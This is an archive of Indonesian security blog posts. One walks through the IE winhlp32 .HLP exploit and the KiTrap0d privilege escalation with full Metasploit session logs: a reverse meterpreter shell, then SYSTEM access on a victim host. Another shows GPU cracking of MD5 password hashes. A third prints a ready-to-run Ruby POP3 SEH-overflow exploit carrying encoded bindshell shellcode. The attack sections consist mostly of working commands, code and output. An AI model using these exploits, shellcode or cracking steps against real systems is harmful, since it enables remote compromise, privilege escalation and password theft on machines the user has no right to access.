Archive for the ‘Tips 'n Trick’ Category

Malicious .hlp, kiTrap0d, system shell

Saturday, March 6th, 2010

Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,

It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6
using VBScript. Passing malicious .HLP file to winhlp32 could allow
remote attacker to run arbitrary command.
Additionally, there is a stack overflow vulnerability in winhlp32.exe

Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. Pihak microsoft untuk sementara memasukan ekstensi file .hlp kedalam kategori ‘unsafe file types’.

Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut,

MsgBox(prompt[,buttons][,title][,helpfile,context])

Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya,




PoC tersebut dapat dilihat dari sini.

Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada \\184.73.14.110\PUBLIC\test.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe.

Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja.

Saat ini \\184.73.14.110\PUBLIC\test.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di ‘data/exploits/runcalc.hlp’.

Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita tidak perlu membuat samba server untuk dapat diakses oleh target. Dengan beberapa trik yang memanfaatkan protocol WebDAV kita dapat meng-eksploitasi target dengan vulnerability diatas. Kategori eksploit ini masuk dalam ‘browser exploitaion’.

Berikut ini contoh penggunaannya,


                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 531 exploits - 248 auxiliary
+ -- --=[ 196 payloads - 23 encoders - 8 nops
       =[ svn r8724 updated today (2010.03.05)

msf exploit(ie_winhlp32) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST     192.168.2.104    yes       The local address
   LPORT     4444             yes       The local port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(ie_winhlp32) > exploit
[*] Exploit running as background job.
msf exploit(ie_winhlp32) >
[*] Started reverse handler on 192.168.2.104:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.2.104:80/
[*] Server started.

msf exploit(ie_winhlp32) >
[*] Request for "/" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1367
[*] Using \\192.168.2.104\pXdaQozNq\OZdxWwnxWuR8K.hlp ...
[*] Sending HTML page to 192.168.2.105:1367...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending HLP multistatus for /pXdaQozNq/OZdxWwnxWuR8K.hlp ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending HLP to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.ANN ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.GID ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.CNT ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.FTG ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Sending 404 for PUT /pXdaQozNq/OZdxWwnxWuR8K.TMP ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending EXE multistatus for /pXdaQozNq/calc.exe ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/shell32.dll ...
[*] Request for "/pXdaQozNq" does not contain a sub-directory, redirecting to /pXdaQozNq/ ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending directory multistatus for /pXdaQozNq/ ...
[*] Responding to GET request from 192.168.2.105:1369
[*] Sending EXE to 192.168.2.105:1369...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/rsaenh.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/%1 ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Manifest ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/calc.exe.Config ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/ws2_32.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/WS2HELP.dll ...
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/hnetcfg.dll ...
[*] Sending stage (747008 bytes)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/crypt32.dll ...
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.105:1371)
[*] Received WebDAV PROPFIND request from 192.168.2.105:1369
[*] Sending 404 for /pXdaQozNq/IPHLPAPI.DLL ...

msf exploit(ie_winhlp32) > sessions  

Active sessions
===============
  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.2.104:4444 -> 192.168.2.105:1371

msf exploit(ie_winhlp32) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: XPSP2\user

Sampai saat ini saya masih belum bisa menemukan letak masalah ketika metasploit digunakan dilingkungan Mac OSX, pemanfaatan feature webdav nya tidak berjalan dengan baik. Namun untuk metasploit yang berjalan diatas windows, exploit tersebut berhasil dieksekusi dengan baik seperti pada contoh diatas (anyone tried on linux?).

Exploit ini dapat digunakan pada feature ‘browser autopwn’-nya metasploit, so buat kalian para whitehat mulai dapat menikmati exploit ini untuk ditunjukan pada client saat proses pentest *heh*.

Finish?no. Sebagaimana terlihat dalam judul diatas, ada satu hal lagi yang akan kita bahas :) .

Pada 19 Januari 2010 yang lalu, tavis ormandy merilis public disclosure yang cukup (sangat?) menghebohkan, terutama bagi para pemerhati dunia security windows. Advisories yang dirilis oleh taviso dapat dilihat dari sini, inti dari advisories tersebut adalah sistem operasi microsoft windows menyimpan bug yang sifatnya 0day sejak tahun 1993. Bug tersebut di-klaim tetap ada sejak rilis Windows NT pada tanggal 27 Juli 1993 hingga implementasi Windows 7 saat ini (semua x86 32-bit windows vulnerable).

Pada saat public disclosure tersebut muncul tidak banyak pihak yang memahami ‘fungsi’-nya, contoh berikut ini ditambahkan dengan tujuan jika memang ada masyarakat indonesia yang belum mengerti (i knew, some of you are lazy to read english reference) maka dapat memahami fungsi dari exploitasi bug tersebut.

Intinya adalah kitrap0d digunakan sebagai local exploit untuk mendapatkan akses system pada windows. Jadi ketika kita berhasil meng-eksploitasi aplikasi dalam microsoft windows, namun akses yang kita dapatkan terbatas dalam arti user yang mengeksekusi adalah user biasa (non-administrator), maka dengan memanfaatkan exploit kitrap0d tersebut kita akan mendapatkan akses system yang tentu saja memberikan akses lebih tinggi.

Contoh paling mudah adalah memanfaatkan browser bug sebagai pintu masuk, seperti yang telah ditunjukan pada contoh diatas (bug win32hlp.exe), kita akan melihat informasi berikut ini:

meterpreter > getuid
Server username: XPSP2\user

Hal tersebut didapatkan karena user yang dieksploitasi oleh exploit ie_win32hlp menggunakan user biasa (nama user nya ‘user’) ketika mengeksekusi exploit, dan ini biasanya dilakukan oleh ratusan bahkan ribuan pengguna komputer dalam suatu perusahaan atau organisasi dimana login kedalam windows tidak menggunakan hak akses administrator.

Metasploit mem-bundle exploit kitrap0d dengan meterpreter, sehingga kita dapat dengan mudah melakukan local exploit pada target windows untuk mendapatkan hak akses ’system’ jika paylod yang digunakan adalah meterpreter. Berikut ini contoh nya,

meterpreter > getuid
Server username: XPSP2\user
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeShutdownPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege

meterpreter > sysinfo
Computer: XPSP2
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > run kitrap0d
[*] Currently running as XPSP2\user

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\fEiMXC.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1948)...

[*] Received WebDAV PROPFIND request from 192.168.2.105:1372
[*] Sending 404 for /pXdaQozNq/cmd.exe ...
'\\192.168.2.104\pXdaQozNq'
CMD.EXE was started with the above path as the current directory.
UNC paths are not supported.  Defaulting to Windows directory.
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---

[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x2890a bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 300
[?] OpenProcess(300) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeDebugPrivilege
  SeTcbPrivilege
  SeCreateTokenPrivilege
  SeAssignPrimaryTokenPrivilege
  SeLockMemoryPrivilege
  SeIncreaseQuotaPrivilege
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeSystemtimePrivilege
  SeProfileSingleProcessPrivilege
  SeIncreaseBasePriorityPrivilege
  SeCreatePagefilePrivilege
  SeCreatePermanentPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeShutdownPrivilege
  SeAuditPrivilege
  SeSystemEnvironmentPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege
  SeManageVolumePrivilege

meterpreter >

Well, that’s the lesson for tonight folks. Don’t care from which side you are from, goodboy and badboy can use metasploit for evil thing. Use your own creativity to get more and more from opensource product (anyone interested to put above two into ’sploit pack’? :p).

Have a nice weekend.

.gpu pull away ur cpu.

Saturday, March 28th, 2009

.so bring it on, gpu “graphics processing unit” istilah yang cukup sering di dengar dalam industri graphic card dikarenakan vga sekarang ini,menerapkan proses komputasi secara terpisah dengan cpu. nvidia dengan cuda-nya,ati dengan ati stream-nya dan dalam perkembangan gpu menerapkan sistem multi core. 240 core [at] nvidia gt 280, cpu sendiri hanya 2/4 core yang umum beredar.

.walau dalam tujuan komersial, pihak rusia mulai menerapkan gpu dalam proses cracking. dari kubu open source ada beberapa project yang menarik dari pyrit sampai CUDA-Multiforcer. dimana juga menerapkan gpu dalam proses crackingnya. gpu cracking lebih menitik beratkan ke cuda dimana dukungan driver dari nvidia lebih baik.
.let’s join our class.

.in wind#ws with BarsWF MD5.
.barsWF melakukan proses bruteforce terhadap single hash md5 dengan bantuan gpu. akhir-akhir ini bahkan sering digunakan sebagai ajang benchmark sebuah mesin.

.–with gpu–.

+-----------------------------------------------------------+
? BarsWF MD5 bruteforcer v0.8 ?       http://3.14.by/en/md5 ?
? by Svarychevski Michail             http://3.14.by/ru/md5 ?
?-----------------------------------------------------------?
?    GPU0:  243.92 MHash/sec     CPU0:   42.92 MHash/sec    ?
?                                CPU1:   36.80 MHash/sec    ?
?                                                           ?
?    GPU*:  243.92 MHash/sec     CPU*:   79.72 MHash/sec    ?
?-----------------------------------------------------------?
? Key: %?u*q                Avg.Total:  314.76 MHash/sec    ?
? Hash:2E86E42F251DC797E33C41674AF40053                     ?
? Progress: 90.84 % ETC    0 days  0 hours  0 min  1 sec    ?
+-----------------------------------------------------------+
-- Key is: d0tZ-??-------------------------------------------
found at 12second

.–doesn’t with gpu–.

+-----------------------------------------------------------+
? BarsWF MD5 bruteforcer v0.8 ?       http://3.14.by/en/md5 ?
? by Svarychevski Michail             http://3.14.by/ru/md5 ?
?-----------------------------------------------------------?
?                                CPU0:   41.65 MHash/sec    ?
?                                CPU1:   42.87 MHash/sec    ?
?                                                           ?
?    GPU*:    0.00 MHash/sec     CPU*:   84.52 MHash/sec    ?
?-----------------------------------------------------------?
? Key: U(tjt                Avg.Total:   80.38 MHash/sec    ?
? Hash:2E86E42F251DC797E33C41674AF40053                     ?
? Progress: 90.57 % ETC    0 days  0 hours  0 min  5 sec    ?
+-----------------------------------------------------------+
-- Key is: d0tZ-??-------------------------------------------
found at 54second

.seperti yang dapat dilihat, penggunaan tanpa proses gpu memakan waktu 4.5 kalinya daripada proses pertama.

$ lspci | grep -i vga
01:00.0 VGA compatible controller: nVidia Corporation G94 [GeForce 9600 GT] (rev a1)

$ lspci -v -s 01:00.0
01:00.0 VGA compatible controller: nVidia Corporation G94 [GeForce 9600 GT] (rev a1)
Flags: bus master, fast devsel, latency 0, IRQ 16
Memory at fa000000 (32-bit, non-prefetchable) [size=16M]
Memory at c0000000 (64-bit, prefetchable) [size=512M]
Memory at f8000000 (64-bit, non-prefetchable) [size=32M]
I/O ports at af00 [size=128]
[virtual] Expansion ROM at fb000000 [disabled] [size=512K]
Capabilities: [60] Power Management version 3
Capabilities: [68] Message Signalled Interrupts: Mask- 64bit+ Queue=0/0 Enable-
Capabilities: [78] Express Endpoint, MSI 00
Capabilities: [b4] Vendor Specific Information
Capabilities: [100] Virtual Channel
Capabilities: [128] Power Budgeting
Capabilities: [600] Vendor Specific Information
Kernel driver in use: nvidia
Kernel modules: nvidia, nvidiafb

.in linux with CUDA-Multiforcer.
.mensupport hash md4,md5 dan ntlm, bahkan proses bruteforce lebih cepat untuk huge hashlist. daripada BarsWF yang berjalan pada paltform wind#ws, blame micros#ft.

$ ./CUDA-Multiforcer -c charsets/charsetfull -f
test_hash_files/testhash.txt --min 5 --max 5 -h MD5
Launching 64-bit binary
Cryptohaze.com CUDA Multiforcer (multiple hash brute forcer)
by Bitweasil
Version 0.61 beta, length 0-14
Currently supported hash types: MD5 MD4 NTLM
Hash type: MD5
CUDA Device Information:
Device 0: "GeForce 9600 GT"
Number of cores:                               64
Clock rate:                                    1.60 GHz
Charset loaded (96 characters)
Hashes loaded (2 hashes)
Launching kernel for password length 5
Done: 54.44%  Step rate: 166.1M/s Search rate: 332.1M/sec
MD5 : 6BC018C635FC7251BC25D0E11984021E: 'h4X0r'    0x6834583072
Done: 94.62%  Step rate: 168.3M/s Search rate: 336.5M/sec
MD5 : 2E86E42F251DC797E33C41674AF40053: 'd0tZ-'    0x6430745A2D
Done: 98.64%  Step rate: 168.3M/s Search rate: 336.5M/sec

------------------------------------------

Compute done: Reference time 48.6 seconds
Stepping rate: 167.8M MD4/s
Search rate: 335.5M NTLM/s

.in linux with pyrit.
.wifoo freak, pyrit bergerak dalam wpa & wpa2 hash table generation. fleksibel, output bisa digunakan bersama cow patty dan airolib-ng.

$ ./pyrit benchmark
Pyrit 0.2.2 (C) 2008, 2009 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3

The ESSID-blobspace seems to be empty; you should create an ESSID...

Running benchmark for at least 60 seconds...

CUDA-Device #1 'GeForce 9600 GT': 3176.95 PMKs/s, 98.14% occupancy
CPU-Core (x86): 259.89 PMKs/s, 98.33% occupancy

Benchmark done. 3436.84 PMKs/s total.

.*tested [on] e2160@2.7Ghz,4 gb ram and nvidia 9600gt.

.bila diterapkan secara distribusi seperti pada ezine sebelumnya.
.keeewwlll house of cracking will be born.

.gamer freak or hash freak, once again make ur choice,

.EOF–

Metasploit’s LIB

Thursday, March 19th, 2009

Baru-baru ini saya membaca blog dari Matasano setelah cukup lama mereka ‘idle’ dari menulis blog. Blog yang ditulis oleh eric monti tersebut cukup menarik, intinya adalah membahas penggunaan Ruby sebagai tools untuk proses penetration testing. Silahkan dibaca secara lengkap mengenai tools tersebut.

Well, eric monti bukan yang pertama. Semakin banyak pihak (baik individu maupun team) yang menggunakan ruby dalam bidang security saat ini, alasan utama karena ruby powerfull dan membuat nyaman programmer saat menyusun barisan-barisan code. Ronin juga termasuk salah satu pengikut aliran ruby untuk penetration tools.

Pengikut aliran fanatisme yang kebetulan penggila metasploit biasanya akan berpikir bahwa project-project lain hanya berusaha mengikuti jejak metasploit, ataupun minimal terinspirasi oleh project metasploit. Dan HDM pernah menyebutkan bahwa metasploit di klaim sebagai project ruby terbesar saat ini.

Saya pribadi tidak begitu peduli dengan berbagai macam aliran atau fanatisme, namun cukup yakin bahwa metasploit merupakan framework opensource terlengkap dalam hal pengembangan exploit untuk saat ini. Walaupun bagi para security consultan yang sudah mencicipi lezatnya core impact ataupun immunity canvas akan menilai bahwa metasploit framework berusaha mengikuti jejak kedua project tersebut, tetap saja pengaruh opensource pada suatu project akan memberikan peningkatan kreativitas yang signifikan. Alasannya jelas karena opensource mendapatkan ide-ide kreativitas dari masyarakat seluruh dunia.  Oke, cukup bicara mengenai perbandingan.

Kita sering melihat pada berbagai forum ataupun mailing list dibahas mengenai metasploit sebagai alat untuk exploitasi. Updatenya ditunggu-tunggu, apalagi versi barunya. Sebetulnya tidak salah, namun itu berarti kita hanya memanfaatkan sebagian dari kemampuan penuh metasploit framework. Kita hanya memanfaatkan ‘metasploit’-nya, belum ‘framework’-nya.

Mungkinkah karena tidak ada lagi hal yang membuat seseorang menjadi tertantang untuk melakukan eksplorasi? Inikah hasil dari kemudahan konsep framework dan object-oriented programming?

- Taken from somewhere -

Hm, agree, but not fully.

Bentuk framework memang berpotensi untuk menyesatkan para pendatang baru, namun merupakan suatu seni tersendiri bagi yang tertarik untuk memanfaatkannya secara penuh. Sistem operasi dan Aplikasi user saat ini berkembang semakin baik, terutama dalam hal security. Ini merupakan hasil dari ’security through obscurity’. Jika jaman dahulu bugs stack-overflow bertaburan dimana-mana dan untuk exploitasi nya cukup dengan sedikit utak-atik, maka saat ini bugs tersebut tidak dapat dengan mudah ditemukan dan di exploitasi begitu saja. Sudah ada /SafeSEH, /GS, ASLR, dsb yang membuat proses riset penemuan serta exploitasi bugs overflow menjadi jauh lebih sulit dari 10 tahun yang lalu.

Jika jaman dahulu shellcode bisa dikategorikan layer paling tinggi atau proses akhir dari suatu exploitasi, maka saat ini shellcode masuk pada kategori layer menengah kebawah. Dalam arti dibutuhkan metode-metode logical yang lebih kompleks dan kreativ untuk dapat membuat shellcode-shellcode tersebut  dieksekusi oleh target. Dengan adanya framework, ataupun object-oriented, maka kita dapat lebih memfokuskan diri pada pengembangan metode-metode logical serangan yang lebih tinggi dan lebih kreatif sementara hal-hal statis lainnya (shellcode, assembly, remote connection, dll) di urus oleh framework. Dan bentuk framework yang seperti layering ini juga memudahkan pengembangan pada layer-layer bagian bawah dimana kita dapat menambahkan kapan saja metode-metode ataupun jenis shellcode yang akan digunakan.

Ada berbagai macam contoh framework saat ini, namun kita hanya akan memfokuskan pada metasploit sebagai framework opensource yang sangat berpengaruh di dunia security saat ini.

Penjelasan detail mengenai dalemannya metasploit framework bisa ditemukan pada dokumentasi bawaan metasploit, namun untuk memahami secara mendalam kita harus bisa membaca isi dari code-code ruby didalamnya.

lib$ ls
bindata		metasm.bak	net		packetfu.rb	rex.rb		scruby.rb	zip
bindata.rb	metasm.rb	ole		rabal		rex.rb.ts.rb	telephony
metasm		msf		packetfu	rex		scruby		telephony.rb

Contoh diatas menunjukan isi direktori LIB dari metasploit framework. Dan bagi para programmer akan langsung bisa melihat bahwa direktori LIB tersebut berisi ribuan code yang dapat dimanfaatkan oleh script-script ruby standalone. Termasuk diantaranya beberapa contoh feature-feature ‘rbkb’ buatan eric monti diatas, seperti encoding/decoding. Dengan memanfaatkan library-library siap saji tersebut maka kita dapat membuat beragam tools, bahkan dapat juga dimanfaatkan untuk mengembangkan aplikasi-aplikasi lain diluar konteks security.

Namun tentu saja kemampuan metasploit akan sangat berguna dalam proses pengembangan exploit, terutama untuk membuat exploit tersebut lebih reliable. Metasploit juga dapat digunakan untuk mempercepat proses porting berbagai macam public exploit.


#!/usr/bin/env ruby

$:.unshift(' ../lib ')

require 'rex'

# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)
sc =  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +
      "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +
      "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +
      "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +
      "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" +
      "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" +
      "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" +
      "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" +
      "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" +
      "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" +
      "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" +
      "\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" +
      "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" +
      "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" +
      "\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" +
      "\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" +
      "\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" +
      "\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" +
      "\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" +
      "\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" +
      "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" +
      "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" +
      "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" +
      "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" +
      "\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" +
      "\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" +
      "\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" +
      "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" +
      "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" +
      "\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" +
      "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" +
      "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" +
      "\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" +
      "\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" +
      "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" +
      "\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" +
      "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" +
      "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" +
      "\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" +
      "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" +
      "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" +
      "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" +
      "\x4f\x4f\x42\x4d\x5a"

nextseh = Rex::Arch.pack_addr(ARCH_X86, 0x909006EB)
seh = Rex::Arch.pack_addr(ARCH_X86, 0x10014E39)
nop = "\x90"

sock = Rex::Socket::TcpServer.create('LocalPort' => '110')
chld = sock.accept

chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK 1 100\r\n")
chld.get
chld.write("+OK\r\n1 " + "A" * 1072 + "#{nextseh}" + "#{seh}" + "#{nop}" * 32 + "#{sc}" + "\r\n.\r\n")

Contoh diatas memperlihatkan penggunaan metasploit secara ‘kotor’ yang merupakan porting dari Milw0rm. Public exploit dari milw0rm tersebut cukup reliable dengan memanfaatkan SEH serta pop+pop+ret dari library bawaan poppeer. Namun dengan integrasi pada framework metasploit, kita dapat menambahkan lebih banyak feature seperti beragam payload/shellcode, integrasi dengan meterpreter sebagai salah satu feature untuk post-exploitation method, automatic backdoor installation, hingga me-register SEH secara langsung untuk mendapatkan hasil yang lebih reliable. Berikut salah satu contoh bentuk model yang telah di porting dan di integrasikan kedalam metasploit (based on MC’s):

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
